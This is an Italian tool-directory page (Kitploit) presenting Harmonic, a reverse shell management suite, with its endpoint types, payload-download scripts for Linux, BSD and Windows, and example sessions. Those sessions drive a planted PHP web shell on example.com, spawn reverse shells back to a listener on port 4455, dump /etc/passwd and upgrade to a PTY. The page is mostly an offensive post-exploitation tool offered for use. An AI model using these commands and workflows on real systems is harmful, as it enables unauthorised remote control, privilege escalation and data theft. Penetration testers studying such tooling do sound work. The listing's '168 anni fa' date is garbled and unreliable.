Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Harmonic — Suite per la gestione di reverse shell progettata per lavorare all'interno della shell nativa | Kitploit
Strumenti/GitLabGitLab/runik/harmonic
Escalation di PrivilegiScripting e AutomazioneSfruttamento di Applicazioni WebRaccolta InformazioniPost-ExploitPenetration TestingCommand and ControlStrumento di Accesso RemotoGenerazione di ShellcodeSviluppo Payload
168 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitLab
runik/harmonic

Harmonic

Suite per la gestione di reverse shell progettata per lavorare all'interno della shell nativa

Vedi Repository

Harmonic Suite

L'inizio di un insieme di strumenti Linux per gestire e interfacciarsi con reverse shell (il codice è ancora in uno stato rapido e sporco, con poca gestione delle eccezioni). Con una forte ispirazione alla filosofia UNIX, l'idea di base è avere un demone per gestire endpoint arbitrari (connd, anche se non è ancora un vero demone ma può girare in un terminale separato) ed eseguire strumenti su quegli endpoint.

Gli endpoint sono 'guidati' da uno script o un processo e vengono esposti come file nel filesystem; un client software leggero può quindi essere utilizzato per interagire con essi, ma possono essere altrettanto facilmente scritti e letti usando comandi shell. In effetti, poter eseguire gli script in modo autonomo dalla shell è un fattore chiave del design in cui, idealmente, al massimo uno script dipenderà dalla presenza di un endpoint, ma può essere utilizzato anche in combinazione (a cascata l'uno nell'altro).

Le opzioni attuali degli endpoint sono:

  • nc - Avvia un endpoint netcat su una porta specifica
  • wsh - Una shell contestuale usata per interagire con un semplice script di web shell
  • with - Esegue un processo arbitrario come endpoint

Il client software leggero (hthinc.py) fornisce un'interfaccia di base all'endpoint del sistema e consente di eseguire rapidamente script sul sistema. Sono stati scritti diversi script semplici ma utili:

  • sp - esegue un'enumerazione su un sistema Linux remoto, determina i linguaggi di scripting (attualmente solo Python), avvia un nuovo endpoint e genera una shell interattiva attraverso l'endpoint corrente per connettersi al nuovo endpoint. Se viene specificato un driver, salta l'enumerazione e tenta di usare quel driver
  • lpc - Esegue lo script Linux Priv Escalation Checker sul sistema tramite l'endpoint
  • log - Registra l'output di un comando nella directory di lavoro corrente
  • mac - Esegue una macro predefinita sull'endpoint (come definito nella sezione macro di $HCROOT/.hcrc
  • pull - Uno script macro per wget che scaricherà file da un portale di dispatch (linux)
  • fpull - Uno script macro per fetch che scaricherà file da un portale di dispatch (*bsd)
  • wpinit - Enumera i motori di scripting di Windows (attualmente solo VB) e genera uno script file portal da usare con wpull
  • vbpull - Uno script macro per lo script portal.vbs (vedi: wpinit) per scaricare file da un portale di dispatch (windows)
  • pspull - Uno script macro per usare PowerShell e scaricare un file da un portale di dispatch (windows)

I tipi di driver di reverse shell (cioè ciò che guida la shell sul sistema remoto) sono i seguenti (attualmente supporto per Linux):

  • php
  • perl
  • fifo
  • python27
  • python3x

Altri script:

  • hgenrsh.py - genera un comando reverse shell in Python (compresso e codificato in base64) che può generare un processo figlio dal processo in esecuzione
  • hcmd.py - esegue un comando dall'ambiente locale
  • hscr.py - esegue uno script con hook
  • hdis.py - resta in ascolto di una connessione e invia dati arbitrari al client da stdin
  • sys/bin/hpd.py - Server di dispatch del portale per scaricare file tramite protocollo HTTP

Esempio di utilizzo

  • Per l'esempio, $HCROOT punta alla directory di questo repository (vedi configurazione in fondo)
  • connd è in esecuzione come demone o processo normale.
    • Può essere eseguito da $HCROOT/sys/bin/connd (deve essere compilato prima)

Di' a connd di avviare un endpoint, usando un driver wedge shell sullo script php fornito che effettua chiamate di sistema con risposta formattata. Tuttavia, questo script di una sola riga avrebbe potuto essere facilmente iniettato come codice in un log di un server

$ hconnd.py start wsh http://example.com/hwsh.php
1

Questo ha creato l'endpoint 1 (due pipe di I/O -- puoi vederle come t1i e t1o nella sottodirectory run). Quindi ora usiamo hthinc.py per interagire con la shell.

$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

Sappiamo che questa è una macchina Linux. Vogliamo allontanarci da una web shell incastrata e ottenere una shell vera e propria. Eseguire il comando integrato !help fornisce il messaggio di aiuto di thinc. Possiamo eseguire uno script sp che eseguirà automaticamente comandi sul sistema remoto, enumerando l'ambiente, avvierà un endpoint nc, genererà una reverse shell e accederà automaticamente tramite una nuova hthinc.py:

runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Oppure, se sappiamo di usare (ad esempio) PHP come driver, possiamo specificarlo:

runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

E diciamo che abbiamo una shell senza TTY o vogliamo uscirne, possiamo eseguire una delle macro predefinite:

$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

Inoltre, se vogliamo registrare l'output di un comando, possiamo usare lo script log, che lo salverà nella directory di lavoro corrente:

$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

Mentre gli endpoint sono in esecuzione, puoi collegare/scollegare i client poiché i processi di connessione sono gestiti dal demone.

Ripetizione rapida

Poiché tutto può essere eseguito in modo più unixy, possiamo ripetere rapidamente i processi dalla shell. Avviamo un endpoint webshell, otteniamo l'ID dell'endpoint e poi dalla shell eseguiamo lo script sp.py contro l'endpoint (è lo stesso script usato in hthinc.py ma con un punto di ingresso diverso).

$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

oppure come one-liner:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

e automatizzare facilmente:

$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

Eseguire un comando dal tuo ambiente locale

Lo strumento hcmd.py ti permette di eseguire rapidamente un comando attraverso un endpoint dalla tua shell

$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

e di usare pipe o reindirizzamenti sui risultati come al solito

$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

Tenere traccia degli endpoint

Scarica lo strumento